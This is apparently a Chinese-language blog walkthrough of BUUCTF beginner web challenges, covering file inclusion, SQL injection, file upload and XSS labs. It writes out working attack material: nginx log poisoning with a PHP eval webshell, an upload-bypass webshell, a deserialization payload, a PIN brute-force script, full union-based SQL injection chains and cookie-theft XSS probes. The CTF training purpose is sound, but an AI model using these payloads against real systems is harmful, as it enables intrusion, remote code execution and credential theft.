Basic
Linux Labs
2020年10月24日 更新:目前所有靶机均能直接访问互联网。
点击启动靶机可以启动一台安装好了 LAMP 的机器。
并且这台机器位于靶机内网,所有动态靶机均可直接通过主机名访问这台机器。
但由于目前一个账户只能同时启动一台靶机,您如果有需要建议浏览器开一个隐私窗口,注册一个新账号来启动这个靶机。
ssh 用户名:root 密码:123456 地址和端口为动态分配的。
开启环境后按照题目给定地址和端口使用SSH
连接即可。
连接上云主机后使用ls
命令,发现当前用户家目录下啥也没有,再使用cd ..
命令切换到根目录下看看,发现flag.txt
文件。
也可直接使用cat /flag.txt
命令查看flag
。
BUU LFI COURSE 1
启动环境后得到如下PHP
代码:
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/7/9
* Time: 7:07 AM
*/
highlight_file(__FILE__);
if(isset($_GET['file'])) {
$str = $_GET['file'];
include $_GET['file'];
}
本地文件包含,通过file
参数进行传参,可在URL
后构造参数?file=/flag
查看flag
。
拓展
通过Wappalyzer
插件可以发现网站使用了nginx
服务,尝试访问nginx
访问日志:
?file=/var/log/nginx/access.log
页面回显出我们刚才的访问记录,接下来我们使用bp
抓包尝试写入phpinfo
。
通过在User-Agent
字段最后插入aaaaaaa<?php phpinfo();?>bbbbbbb
传入phpinfo()
,刷新页面后检查是否传入成功。
Request
请求包如下:
GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: <domain>:<port>
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36aaaaaaa<?php phpinfo();?>bbbbbbb
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
依照上述方法,我们还可直接上传一句话木马进行连接:
GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: <domain>:<port>
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36aaaaaaa<?php @eval($_POST['cmd']);?>bbbbbbb
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Shell url: http://<domain>:<port>/?file=/var/log/nginx/access.log
Shell pwd: cmd
Upload-Labs-Linux
是一个在线的Uplaod-Labs
靶场。
我们先过第一关,题目要求上传一个webshell
到服务器,写个一句话php
马:
<?php @eval($_POST['cmd']);?>
点击上传时却显示文件格式不符合要求,盲猜只有一个前端验证。
将webshell.php
改为webshell.jpg
,然后使用bp
抓取上传文件时的数据包,放到Repeater
模块,将下面的webshell.jpg
改为webshell.php
即可:
------WebKitFormBoundaryDSXCGFcAK1IJkpgn
Content-Disposition: form-data; name="upload_file"; filename="webshell.jpg"
BUU CODE REVIEW 1
启动环境后得到如下PHP
代码:
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
代码审计,题目的考察点在于MD5
绕过和反序列化,我们所需提交的内容如下:
GET提交: pleaseget=1
POST提交第一部分: pleasepost=2&md51=0&md52="a"
POST提交第二部分: obj,一个BUU类的实例化对象,属性值在经过$this->correct=base64_encode(uniqid());之后依然全等,可以通过把变化的$correct属性引用赋值给$input
// 解析
__destruct(): 对象所有引用都被删除或当对象被显示销毁时执行
uniqid(): 基于以微秒的当前时间生成一个唯一ID
传值赋值: 变量默认为传值赋值,即当一个表达式的值赋予一个变量时,整个原始表达式的值被赋到目标变量。如把变量a的值赋给变量b,改变a的值不会影响b的值,反之亦然
引用赋值: 新变量会简单引用(也可理解为指向)原始变量,改动新变量值的同时也会改变原始变量的值,反之亦然
接下来我们就编写代码构造payload
:
<?php
class BUU{
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if ($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e){
}
}
}
$res = new BUU();
$res->input = &$res->correct; // 传入一个引用
echo serialize($res);
?>
执行结果:
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
传递参数如下:
GET:
pleaseget=1
POST:
pleasepost=2
&md51[]=1
&md52[]=2
&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
BUU BRUTE 1
是一个登录框,尝试admin/admin
,页面回显密码错误,为四位数字。
,直接上bp
爆破。
步骤一
抓取点击提交按钮时的数据包并发送至Intruder
模块。
步骤二
在Inturder
模块中将password
设置为payload
,然后选择数字字典。
步骤三
可将爆破间隔时间调高避免被封。
也可用以下python
脚本:
import requests
import time
url = 'http://<ip>:<port>/?username=admin&password='
for i in range(6000, 6499):
res = requests.get(url+str(i))
time.sleep(0.1)
if res.text != '密码错误,为四位数字。':
print(res.text)
break
sqli-labs
SQL
注入,传入参数id=1
和id=-1
,页面回显正常,传入id=1'
,页面报错,判断为字符型注入。使用联合查询看看有几列数据:
?id=-1'union select 1,2,3--+
经过尝试后发现总共有三列数据,查看当前库名:
?id=-1'union select 1,database(),3--+
爆库名:
?id=-1'union select 1,database(),group_concat(schema_name) from information_schema.schemata--+
// 结果如下
Your Login name:security
Your Password:ctftraining,information_schema,mysql,performance_schema,security,test
爆表名:
?id=-1'union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='ctftraining'--+
// 结果如下
Your Login name:security
Your Password:flag,news,users
爆列名:
?id=-1'union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='flag'--+
// 结果如下
Your Login name:security
Your Password:flag
爆字段:
id=-1'union select 1,database(),group_concat(flag) from ctftraining.flag--+
BUU SQL COURSE 1
一个简单的新闻网,尝试在登录框进行SQL注入,发现都被过滤了。本来打算在测试新闻
页面进行注入的,可是没找到注入点,发现登录框注入行不通后,打开网络控制台,切换到Network
模块,看看页面都加载了什么资源,发现有一个content_detail.php
页面:
<domain>:<port>/backend/content_detail.php?id=1
进行注入类型判断:
?id=1 and 1=1--+ // 页面回显正常
?id=1 and 1=2--+ // 页面回显错误
判断为数字型注入。
使用联合查询查看有几列数据:
?id=-1 union select 1,2--+
一共有两列数据,均为回显点。
爆库:
?id=-1 union select 1,group_concat(schema_name) from information_schema.schemata
// 结果
{"title":"1","content":"information_schema,ctftraining,mysql,performance_schema,test,news"}
爆表:
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'--+
// 结果
{"title":"1","content":"FLAG_TABLE,news,users"}
爆列:
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+
// 结果
{"title":"1","content":"id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS"}
爆字段:
// username字段
?id=-1 union select 1,group_concat(username) from ctftraining.users--+
{"title":"1","content":"admin,guest,virink"}
// password字段
?id=-1 union select 1,group_concat(password) from ctftraining.users--+
{"title":"1","content":"21232f297a57a5a743894a0e4a801fc3,084e0343a0486ff05530df6c705c8bb4,a4346e75cc1dd161a8d57f3b2d5d82d0"}
然后发现密码不对,再尝试爆破news
表,步骤如上。
BUU UPLOAD COURSE 1
页面如下:
查看页面元素:
<form action="index.php?file=upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="upload_file">
<input type="submit" value="上传">
</form>
发现此处通过file
参数调用文件,检查一下是否存在文件包含漏洞,上传一个phpinfo
看看:
<?php phpinfo();?>
上传成功后会随机返回一个地址,而且文件后缀被更改为.jpg
,我们查看命令是否能被解析:
?file=uploads/<random-value>.jpg
成功回显phpinfo
页面,按照划水经验来讲,flag
应该在根目录,在bp
中将文件内容更改如下:
<?php system("cat /flag");?>
发包,访问,成功获得flag
。
BUU BURP COURSE 1
访问页面,显示只能本地访问
,分别尝试构造了X-Forwarded-For
、X-Originating-IP
、X-Remote-IP
、X-Remote-Addr
四个字段,均未成功…
查了资料发现还有个X-Real-IP
,在bp
中添加请求头,访问成功,是一个登录页面,将URL
复制,粘贴到浏览器访问:
点击登录后还是显示只能本地访问
,抓取点击登录的包,放在bp
里面添加请求头,查看响应包即可。
X-Forwarded-For:记录代理信息,每经过一次代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中并且用逗号分隔。
X-Real-IP:一般只记录真实发出请求的客户端IP。
BUU XSS COURSE 1
一个树洞系统,分为留言和登录两个模块,猜测需要通过XSS
获取管理员Cookie
进行登录。
先检验一下过滤情况,在留言处输入如下语句:
<scrIpT>alert(/xss/)</scrIpT>
提交后会回显一个随机地址,访问发现什么也没有,打开控制台查看页面元素:
<span data-v-1a9a378f="">
<script>alert(/xss/)</script>
</span>
语句被放到了span
标签中,接下来看看能否使用img
标签:
<img src=# onerror=alert(xss)/>
页面无法加载图片,标签能够正常使用,页面元素:
<span data-v-1a9a378f="">
<img src="#" onerror="alert(xss)/">
</span>
接下来我们就需要构造一个存储型XSS
,获取管理员Cookie
,登录得到flag
。那么现在还缺少一个相应的接收平台,这里使用XSS Platform (buuoj.cn)进行构造。
注册登录后选择创建项目。
平台暂时使用不了……
PikaChu
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。